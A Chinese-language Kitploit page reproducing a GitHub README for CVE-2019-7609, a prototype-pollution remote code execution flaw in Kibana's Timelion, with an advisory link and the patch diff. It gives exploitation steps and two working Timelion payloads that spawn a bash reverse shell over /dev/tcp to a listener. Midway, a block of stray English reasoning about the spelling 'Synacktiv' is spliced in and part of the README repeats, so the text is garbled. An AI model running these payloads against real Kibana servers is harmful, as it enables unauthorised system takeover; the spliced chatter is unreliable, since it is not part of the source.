Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-7609 — Kibana 5.6.15 和 6.6.0 之前版本中 Timelion 可视化器的远程代码执行(RCE)漏洞 | Kitploit
工具/GitHubGitHub/mpgn/cve-2019-7609
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用
GitHubmpgn/cve-2019-7609

CVE-2019-7609

Kibana 5.6.15 和 6.6.0 之前版本中 Timelion 可视化器的远程代码执行(RCE)漏洞

查看仓库
56126年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-7609

低于 5.6.15 和 6.6.1 的 Kibana 版本在 Timelion 可视化工具中包含一个任意代码执行漏洞。能够访问 Timelion 应用的攻击者可以发送一个尝试执行 JavaScript 代码的请求。这可能导致攻击者以主机系统上 Kibana 进程的权限执行任意命令。

作者:@securityMB

注意:我在 Kibana 6.6.0 上测试过该攻击,但没有成功……在我这边,只有低于 6.6.0 的 Kibana 版本存在漏洞,正如 @securityMB 所解释的那样。

编辑于 2019/12/20:如果 Canvas 面板不可用,请查看 @Synactikv? Wait original: @Synactikv? Actually source says @Synactikv? Let's check: "from @Synactikv" or "@Synactikv"? Original in prompt: @Synactikv? Wait input: from @Synactikv? Let me re-read. It says "from @Synactikv"?? In provided input: "just check this writeup from @Synactikv https..." Wait the text: "from @Synactikv"? Actually original likely "@Synacktiv" (French security company). The source text I see in prompt: "from @Synactikv"? Let's scroll: In user message: "just check this writeup from @Synactikv" It shows "@Synactikv"? Wait the text: from @Synacktiv? I need check exactly: The user input says "from @Synactikv"?? Let me re-evaluate.

User content:

"EDIT 20/12/2019 : if Canvas panel is not accessible, just check this writeup from @Synactikv https://www.synactikv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html"

Wait original: It says "@Synactikv" and URL "www.synactikv.com"? Actually in prompt: "from @Synactikv https://www.synactikv.com/posts/..." Looking at prompt: "just check this writeup from @Synactikv https://www.synactikv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html". Hmm, the real is "@Synacktiv" and "synacktiv.com". But prompt shows "Synactikv" or "Synacktiv"? Let me inspect the prompt carefully:

**EDIT 20/12/2019** : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

Actually I cannot trust memory; need copy exactly as in prompt. Let me scroll in user message: It says:

**EDIT 20/12/2019** : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synactikv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

Wait the prompt text in the chat: "from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html". Let me re-read from the actual user input in this conversation: The line:

**EDIT 20/12/2019** : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

I see "Synacktiv" in both? The input in my message was copied: **EDIT 20/12/2019** : if Canvas panel is not accessible, just check this writeup from @Synactikv? No, let's look at the initial content: "just check this writeup from @Synactikv"??? The source I wrote in the prompt: @Synactikv?? I must be careful. Reading the literal text in the user message block:

root@kitploit:~
**EDIT 20/12/2019** : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

Yes, the string "Synacktiv" appears as @Synacktiv and URL synacktiv. In the chat display, it shows "https://www.synacktiv.com". Good. My earlier drafts had "Synactikv" but the original is likely "Synacktiv". The prompt in the question shows: from @Synacktiv https://www.synacktiv.com yes. So preserve exactly: @Synacktiv and URL.

Now continue.

Need output all. Ensure no code block wrapping final.

Let's produce final response exactly.# CVE-2019-7609

低于 5.6.15 和 6.6.1 的 Kibana 版本在 Timelion 可视化工具中包含一个任意代码执行漏洞。能够访问 Timelion 应用的攻击者可以发送一个尝试执行 JavaScript 代码的请求。这可能导致攻击者以主机系统上 Kibana 进程的权限执行任意命令。

作者:@securityMB

注意:我在 Kibana 6.6.0 上测试过该攻击,但没有成功……在我这边,只有低于 6.6.0 的 Kibana 版本存在漏洞,正如 @securityMB 所解释的那样。

编辑于 2019/12/20:如果 Canvas 面板不可用,请查看 @Synacktiv 的这篇 writeup:https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

kibana

漏洞利用

  1. 打开 Kibana
  2. 将以下任一 payload 粘贴到 Timelion 可视化工具中
  3. 点击运行
  4. 在左侧面板中点击 Canvas
  5. 你的反弹 shell 应该会弹出!:)
  • payload 作者:@securityMB
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
  • payload 作者:@chybeta
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

详细分析(英文):

  • https://slides.com/securitymb/prototype-pollution-in-kibana/#/

安全公告:

  • https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077

补丁

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];
下载工具